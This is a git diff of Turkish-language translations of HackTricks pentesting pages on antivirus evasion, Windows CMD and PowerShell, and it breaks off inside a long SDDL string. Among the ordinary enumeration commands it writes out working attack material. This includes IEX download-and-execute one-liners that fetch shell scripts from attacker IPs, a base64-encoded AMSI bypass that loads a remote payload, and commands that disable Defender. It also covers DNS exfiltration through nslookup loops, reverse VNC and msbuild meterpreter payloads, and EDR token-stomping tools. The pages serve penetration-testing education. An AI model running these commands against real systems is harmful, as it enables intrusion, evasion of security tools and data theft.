+[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) önerildiği gibi, kötü niyetli kodu diğer dillerle çalıştırmak mümkündür, bu da tehlikeye atılmış makinenin **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim sağlaması** ile mümkündür. -Yorumlayıcı İkili Dosyalarına ve SMB paylaşımındaki ortama erişim vererek, tehlikeye atılmış makinenin **belleğinde bu dillerde rastgele kod çalıştırabilirsiniz**. +Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişim izni vererek, **bu dillerdeki rastgele kodu tehlikeye atılmış makinenin belleğinde çalıştırabilirsiniz.** -Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatma konusunda daha fazla esnekliğe sahip olduğumuzu** belirtiyor. Bu dillerde rastgele obfuscate edilmemiş ters shell betikleri ile yapılan testler başarılı olmuştur. +Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatma konusunda daha fazla esneklik sağladığımızı** belirtmektedir. Bu dillerde rastgele obfuscate edilmemiş ters kabuk betikleri ile yapılan testler başarılı olmuştur. + +## TokenStomping + +Token stomping, bir saldırganın **erişim belirtecini veya bir güvenlik ürünü (örneğin EDR veya AV)** manipüle etmesine olanak tanıyan bir tekniktir, böylece sürecin ölme olasılığını azaltır, ancak kötü niyetli faaliyetleri kontrol etme izinlerine sahip olmaz. + +Bunu önlemek için Windows, **dış süreçlerin** güvenlik süreçlerinin belirteçleri üzerinde tutamaç almasını **engelleyebilir**. + +- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) +- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) +- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) ## Gelişmiş Kaçış -Kaçış çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır. +Kaçış, çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır. Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır. -Daha Gelişmiş Kaçış tekniklerine dair bir fikir edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim. +Daha Gelişmiş Kaçış tekniklerine dair bir temel edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından verilen bu konuşmayı izlemenizi şiddetle tavsiye ederim. {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından yapılan Kaçış Derinliği üzerine başka bir harika konuşmadır. +Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından Kaçış Derinliği üzerine yapılan başka bir harika konuşmadır. {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 @@ -308,14 +355,14 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 ## **Eski Teknikler** -### **Defender'ın kötü niyetli bulduğu kısımları kontrol etme** +### **Defender'ın kötü niyetli bulduğu parçaları kontrol etme** -[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu araç **ikili dosyanın kısımlarını kaldıracak** ve **Defender'ın** kötü niyetli bulduğu kısmı bulana kadar devam edecek ve bunu size ayıracaktır.\ +[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu araç **ikili dosyanın parçalarını kaldıracak** ve **Defender'ın** kötü niyetli bulduğu parçayı bulana kadar devam edecektir.\ Aynı şeyi yapan başka bir araç ise [**avred**](https://github.com/dobin/avred) olup, hizmeti [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) adresinde sunmaktadır. ### **Telnet Sunucusu** -Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) şu şekilde yükleyebiliyordunuz: +Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) yükleyebiliyordunuz: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` @@ -334,20 +381,20 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc. **HOST'TA**: _**winvnc.exe**_ dosyasını çalıştırın ve sunucuyu yapılandırın: -- _Disable TrayIcon_ seçeneğini etkinleştirin -- _VNC Password_ kısmına bir şifre belirleyin -- _View-Only Password_ kısmına bir şifre belirleyin +- _TrayIcon'u Devre Dışı Bırak_ seçeneğini etkinleştirin +- _VNC Şifresi_ kısmına bir şifre girin +- _Sadece Görüntüleme Şifresi_ kısmına bir şifre girin Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ dosyasını **kurbanın** içine taşıyın. #### **Ters bağlantı** -**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect ::5900` komutunu çalıştırın. +**saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect ::5900` komutunu çalıştırın. **UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız - `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin -- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [yapılandırma penceresi](https://i.imgur.com/rfMQWcf.png) açılır +- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır - Yardım için `winvnc -h` komutunu çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz ### GreatSCT @@ -370,11 +417,11 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü** şu şekilde **çalıştırın**: +Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü** **çalıştırın**: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` -**Mevcut defender süreci çok hızlı bir şekilde sonlandıracaktır.** +**Mevcut savunucu süreci çok hızlı bir şekilde sonlandıracaktır.** ### Kendi ters kabuğumuzu derlemek @@ -386,7 +433,7 @@ Bunu ile derleyin: ``` c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt ``` -Bunu şunlarla kullanın: +Bunu ile kullanın: ``` back.exe ``` @@ -494,7 +541,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Python kullanarak injector örneği: +### Python kullanarak injector örneği oluşturma: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) @@ -525,6 +572,6 @@ https://github.com/praetorian-code/vulcan ``` ### Daha Fazla -- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) +- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index 744b40986..00f65620e 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -5,7 +5,7 @@ ## Sistem bilgisi -### Sürüm ve Yamanlama bilgisi +### Sürüm ve Yamanlar bilgisi ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo @@ -23,7 +23,7 @@ DRIVERQUERY #3rd party driver vulnerable? ```bash set #List all environment variables ``` -Bazı çevresel değişkenleri vurgulamak için: +Bazı çevresel değişkenler: - **COMPUTERNAME**: Bilgisayarın adı - **TEMP/TMP:** Geçici klasör @@ -315,7 +315,7 @@ who^ami #whoami ### DOSfuscation Obfuscate edilmiş bir CMD satırı oluşturur -```powershell +```bash git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 @@ -339,7 +339,7 @@ sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passi ``` #### Kurban -**`for /f tokens`** tekniği: Bu, komutları çalıştırmamıza, her satırın ilk X kelimesini almamıza ve bunu DNS üzerinden sunucumuza göndermemize olanak tanır. +**`for /f tokens`** tekniği: Bu, komutları yürütmemize, her satırın ilk X kelimesini almamıza ve bunu DNS üzerinden sunucumuza göndermemize olanak tanır. ```bash for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 @@ -354,7 +354,7 @@ Ayrıca **çıktıyı** yönlendirebilir ve ardından **okuyabilirsiniz**. whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` -## C kodundan CMD'yi çağırma +## C kodundan CMD çağırma ```c #include /* system, NULL, EXIT_FAILURE */ diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 4e11c53f8..eac11cb68 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -3,12 +3,12 @@ {{#include ../../banners/hacktricks-training.md}} ## Varsayılan PowerShell konumları -```powershell +```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Temel PS komutları ile başlamak -```powershell +```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic @@ -17,7 +17,7 @@ Import-Module Get-Command -Module ``` ## İndir & Çalıştır -```powershell +```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 @@ -29,38 +29,38 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` -### AMSI Bypass ile Arka Planda İndir ve Çalıştır -```powershell +### AMSI Bypass ile Arka Planda İndir & Çalıştır +```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Linux'ten b64 Kullanımı -```powershell +```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## İndir ### System.Net.WebClient -```powershell +```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest -```powershell +```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget -```powershell +```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer -```powershell +```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ## Base64 Kali & EncodedCommand -```powershell +```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` @@ -70,8 +70,8 @@ PS> powershell -EncodedCommand ## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) -## WinRM'yi (Uzaktan PS) Etkinleştir -```powershell +## WinRM'yi (Uzak PS) Etkinleştir +```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private @@ -85,7 +85,7 @@ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Defender'ı Devre Dışı Bırakma -```powershell +```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions @@ -116,10 +116,10 @@ ValueData : 0 **`amsi.dll`** **süreç** içine **yüklenir** ve herhangi bir uygulamanın etkileşimde bulunması için gerekli **ihracatlara** sahiptir. Ve kontrol ettiğiniz bir sürecin bellek alanına yüklendiği için, **bellekteki talimatları geçersiz kılarak** davranışını değiştirebilirsiniz. Böylece hiçbir şeyi tespit etmemesini sağlarsınız. -Bu nedenle, kullanacağınız AMSI atlatmalarının amacı, **tespiti işe yaramaz hale getirmek için o DLL'in bellek içindeki talimatlarını geçersiz kılmaktır**. +Bu nedenle, kullanacağınız AMSI atlatmalarının amacı, **tespiti işe yaramaz hale getirmek için o DLL'nin bellek içindeki talimatlarını geçersiz kılmaktır**. **AMSI atlatma oluşturucu** web sayfası: [**https://amsi.fail/**](https://amsi.fail/) -```powershell +```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -163,38 +163,39 @@ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` -### AMSI Bypass 2 - Managed API Call Hooking +### AMSI Bypass 2 - Yönetilen API Çağrısı Hooking -Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Giriş: +Detaylı bilgi ve kod için [**bu gönderiyi kontrol edin**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Giriş: -Bu yeni teknik, .NET yöntemlerinin API çağrılarını yakalamaya dayanıyor. Görünüşe göre, .NET Yöntemlerinin bellekte yerel makine talimatlarına derlenmesi gerekiyor ve bu da yerel yöntemlere çok benzer bir görünüm alıyor. Bu derlenmiş yöntemler, bir programın kontrol akışını değiştirmek için yakalanabilir. +Bu yeni teknik, .NET yöntemlerinin API çağrısı hooking'ine dayanıyor. Görünüşe göre, .NET Yöntemlerinin bellekte yerel makine talimatlarına derlenmesi gerekiyor ve bu da yerel yöntemlere çok benzer bir görünüm alıyor. Bu derlenmiş yöntemler, bir programın kontrol akışını değiştirmek için hook'lanabilir. -.NET yöntemlerinin API çağrılarını yakalamak için izlenecek adımlar: +.NET yöntemlerinin API çağrısı hooking'ini gerçekleştiren adımlar şunlardır: -1. Yakalamak için hedef yöntemi belirleyin +1. Hook'lanacak hedef yöntemi belirleyin 2. Hedefle aynı işlev prototipine sahip bir yöntem tanımlayın 3. Yöntemleri bulmak için yansıma (reflection) kullanın 4. Her yöntemin derlendiğinden emin olun 5. Her yöntemin bellekteki konumunu bulun 6. Hedef yöntemi, kötü niyetli yöntemimize işaret eden talimatlarla üzerine yazın -### AMSI Bypass 3 - SeDebug Privilege +### AMSI Bypass 3 - SeDebug Ayrıcalığı -[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) ile yeterli ayrıcalıklara sahip olduğunuzda, bir powershell.exe süreci başlatabilir, bunu hata ayıklayabilir, `amsi.dll` yüklendiğinde izleyebilir ve devre dışı bırakabilirsiniz. +Yeterli ayrıcalıklara sahip olduğunuzda, süreçleri hata ayıklamak için [**bu kılavuzu ve kodu takip ederek**](https://github.com/MzHmO/DebugAmsi) bir powershell.exe süreci başlatabileceğinizi, bunu hata ayıklayabileceğinizi, `amsi.dll` yüklendiğinde izleyebileceğinizi ve devre dışı bırakabileceğinizi görebilirsiniz. ### AMSI Bypass - Daha Fazla Kaynak +- **[AV'leri ve AMSI'yi Aşma](../av-bypass.md)** sayfasını kontrol edin - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) -- [Amsi Bypass on Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) +- [2023'te Windows 11'de Amsi Bypass](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) ## PS-History -```powershell +```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Daha Yeni Dosyaları Bul Seçenekler: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` -```powershell +```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName @@ -202,26 +203,26 @@ Seçenekler: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTim (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` ## İzinleri Alın -```powershell +```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## OS sürümü ve HotFix'ler -```powershell +```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Ortam -```powershell +```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## Diğer bağlı sürücüler -```powershell +```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Geri Dönüşüm Kutusu -```powershell +```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() @@ -235,12 +236,12 @@ powerview.md {{#endref}} ## Kullanıcılar -```powershell +```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Güvenli Dizeyi Düz Metne Çevirme -```powershell +```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) @@ -252,7 +253,7 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` Veya doğrudan XML biçiminde ayrıştırma: -```powershell +```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom @@ -261,7 +262,7 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO -```powershell +```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) @@ -283,16 +284,21 @@ $mycreds = New-Object System.Management.Automation.PSCredential ("", $secp $computer = "" ``` ## Gruplar -```powershell +```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Pano -```powershell +```bash Get-Clipboard ``` +Kopyalama panosunu izlemek için şunları kullanın: + +- [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) +- [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) + ## Süreçler -```powershell +```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Hizmetler @@ -300,19 +306,19 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id Get-Service ``` ## Güvenli dizeden şifre alma -```powershell +```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Zamanlanmış Görevler -```powershell +```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## Ağ ### Port Taraması -```powershell +```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 @@ -327,12 +333,12 @@ Test-NetConnection -Port 80 10.10.10.10 ``` ### Arayüzler -```powershell +```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Güvenlik Duvarı -```powershell +```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block @@ -348,28 +354,28 @@ New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 2 Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Rota -```powershell +```bash route print ``` ### ARP -```powershell +```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts -```powershell +```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping -```powershell +```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP -```powershell +```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **SDDL Dizesini Okunabilir Bir Formata Dönüştürme** -```powershell +```bash PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-